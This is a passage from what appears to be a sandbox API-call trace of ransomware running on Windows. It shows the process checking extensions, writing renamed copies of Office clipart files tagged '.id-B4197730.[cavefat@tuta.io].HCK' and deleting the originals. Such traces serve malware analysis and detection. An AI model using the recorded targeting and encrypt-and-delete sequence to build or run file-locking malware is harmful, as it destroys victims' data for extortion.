(lpString1=".rar", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString=".bz2") returned 4 [0169.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString=".7z") returned 3 [0169.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.390] lstrlenW (lpString=".dbf") returned 4 [0169.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.390] lstrlenW (lpString=".1cd") returned 4 [0169.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.390] lstrlenW (lpString=".jpg") returned 4 [0169.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.390] lstrlenW (lpString=".doc") returned 4 [0169.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString=".docx") returned 5 [0169.390] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.390] lstrlenW (lpString=".pdf") returned 4 [0169.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString=".xls") returned 4 [0169.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.390] lstrlenW (lpString=".xlsx") returned 5 [0169.390] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.390] lstrlenW (lpString=".ppt") returned 4 [0169.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.390] lstrlenW (lpString=".zip") returned 4 [0169.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.390] lstrlenW (lpString=".rar") returned 4 [0169.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString=".bz2") returned 4 [0169.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString=".7z") returned 3 [0169.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.390] lstrlenW (lpString=".dbf") returned 4 [0169.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.390] lstrlenW (lpString=".1cd") returned 4 [0169.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.391] lstrlenW (lpString=".jpg") returned 4 [0169.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.391] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.391] lstrlenW (lpString="J0174315.WMF") returned 12 [0169.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.393] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5864) returned 1 [0169.393] CloseHandle (hObject=0x330) returned 1 [0169.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 0x220 [0169.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.403] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.404] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.416] GetLastError () returned 0x0 [0169.416] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x16e8, lpOverlapped=0x0) returned 1 [0169.419] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x16f0, lpOverlapped=0x0) returned 1 [0169.419] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.419] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.419] SetEndOfFile (hFile=0x378) returned 1 [0169.423] CloseHandle (hObject=0x378) returned 1 [0169.424] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.424] SetEndOfFile (hFile=0x388) returned 1 [0169.427] CloseHandle (hObject=0x388) returned 1 [0169.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 1 [0169.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.433] lstrlenW (lpString=".doc") returned 4 [0169.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.433] lstrlenW (lpString=".docx") returned 5 [0169.433] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.433] lstrlenW (lpString=".pdf") returned 4 [0169.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.433] lstrlenW (lpString=".xls") returned 4 [0169.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.433] lstrlenW (lpString=".xlsx") returned 5 [0169.433] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.433] lstrlenW (lpString=".ppt") returned 4 [0169.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.433] lstrlenW (lpString=".zip") returned 4 [0169.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.433] lstrlenW (lpString=".rar") returned 4 [0169.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.433] lstrlenW (lpString=".bz2") returned 4 [0169.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString=".7z") returned 3 [0169.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.434] lstrlenW (lpString=".dbf") returned 4 [0169.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.434] lstrlenW (lpString=".1cd") returned 4 [0169.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.434] lstrlenW (lpString=".jpg") returned 4 [0169.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.434] lstrlenW (lpString=".doc") returned 4 [0169.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString=".docx") returned 5 [0169.434] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.434] lstrlenW (lpString=".pdf") returned 4 [0169.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString=".xls") returned 4 [0169.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.434] lstrlenW (lpString=".xlsx") returned 5 [0169.434] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.434] lstrlenW (lpString=".ppt") returned 4 [0169.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.434] lstrlenW (lpString=".zip") returned 4 [0169.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.434] lstrlenW (lpString=".rar") returned 4 [0169.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString=".bz2") returned 4 [0169.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString=".7z") returned 3 [0169.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.434] lstrlenW (lpString=".dbf") returned 4 [0169.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.434] lstrlenW (lpString=".1cd") returned 4 [0169.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0169.434] lstrlenW (lpString=".jpg") returned 4 [0169.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.435] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.435] lstrlenW (lpString="J0175361.JPG") returned 12 [0169.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.438] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=46461) returned 1 [0169.438] CloseHandle (hObject=0x398) returned 1 [0169.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 0x220 [0169.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.457] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.457] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.464] GetLastError () returned 0x0 [0169.464] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xb57d, lpOverlapped=0x0) returned 1 [0169.466] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xb580, lpOverlapped=0x0) returned 1 [0169.467] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.467] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.467] SetEndOfFile (hFile=0x388) returned 1 [0169.469] CloseHandle (hObject=0x388) returned 1 [0169.469] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.469] SetEndOfFile (hFile=0x370) returned 1 [0169.475] CloseHandle (hObject=0x370) returned 1 [0169.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 1 [0169.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.478] lstrlenW (lpString=".doc") returned 4 [0169.478] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.479] lstrlenW (lpString=".docx") returned 5 [0169.479] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0169.479] lstrlenW (lpString=".pdf") returned 4 [0169.479] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString=".xls") returned 4 [0169.479] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString=".xlsx") returned 5 [0169.479] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0169.479] lstrlenW (lpString=".ppt") returned 4 [0169.479] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.479] lstrlenW (lpString=".zip") returned 4 [0169.479] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString=".rar") returned 4 [0169.479] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString=".bz2") returned 4 [0169.479] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.479] lstrlenW (lpString=".7z") returned 3 [0169.479] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.479] lstrlenW (lpString=".dbf") returned 4 [0169.479] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.479] lstrlenW (lpString=".1cd") returned 4 [0169.479] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.479] lstrlenW (lpString=".jpg") returned 4 [0169.479] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.479] lstrlenW (lpString=".doc") returned 4 [0169.479] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.479] lstrlenW (lpString=".docx") returned 5 [0169.479] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0169.479] lstrlenW (lpString=".pdf") returned 4 [0169.479] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString=".xls") returned 4 [0169.479] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString=".xlsx") returned 5 [0169.479] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0169.479] lstrlenW (lpString=".ppt") returned 4 [0169.479] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.479] lstrlenW (lpString=".zip") returned 4 [0169.479] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString=".rar") returned 4 [0169.479] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.479] lstrlenW (lpString=".bz2") returned 4 [0169.479] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.479] lstrlenW (lpString=".7z") returned 3 [0169.479] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.479] lstrlenW (lpString=".dbf") returned 4 [0169.480] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.480] lstrlenW (lpString=".1cd") returned 4 [0169.480] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0169.480] lstrlenW (lpString=".jpg") returned 4 [0169.480] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.480] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.480] lstrlenW (lpString="J0178348.JPG") returned 12 [0169.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.482] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=36989) returned 1 [0169.482] CloseHandle (hObject=0x398) returned 1 [0169.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 0x220 [0169.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.492] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.492] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.499] GetLastError () returned 0x0 [0169.499] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x907d, lpOverlapped=0x0) returned 1 [0169.504] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x9080, lpOverlapped=0x0) returned 1 [0169.505] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.505] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.505] SetEndOfFile (hFile=0x368) returned 1 [0169.507] CloseHandle (hObject=0x368) returned 1 [0169.508] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.508] SetEndOfFile (hFile=0x330) returned 1 [0169.512] CloseHandle (hObject=0x330) returned 1 [0169.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 1 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.517] lstrlenW (lpString=".doc") returned 4 [0169.517] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.517] lstrlenW (lpString=".docx") returned 5 [0169.517] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0169.517] lstrlenW (lpString=".pdf") returned 4 [0169.517] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.517] lstrlenW (lpString=".xls") returned 4 [0169.517] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.517] lstrlenW (lpString=".xlsx") returned 5 [0169.517] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0169.517] lstrlenW (lpString=".ppt") returned 4 [0169.517] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.517] lstrlenW (lpString=".zip") returned 4 [0169.517] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.517] lstrlenW (lpString=".rar") returned 4 [0169.517] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.517] lstrlenW (lpString=".bz2") returned 4 [0169.517] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.517] lstrlenW (lpString=".7z") returned 3 [0169.517] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0169.517] lstrlenW (lpString=".dbf") returned 4 [0169.518] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 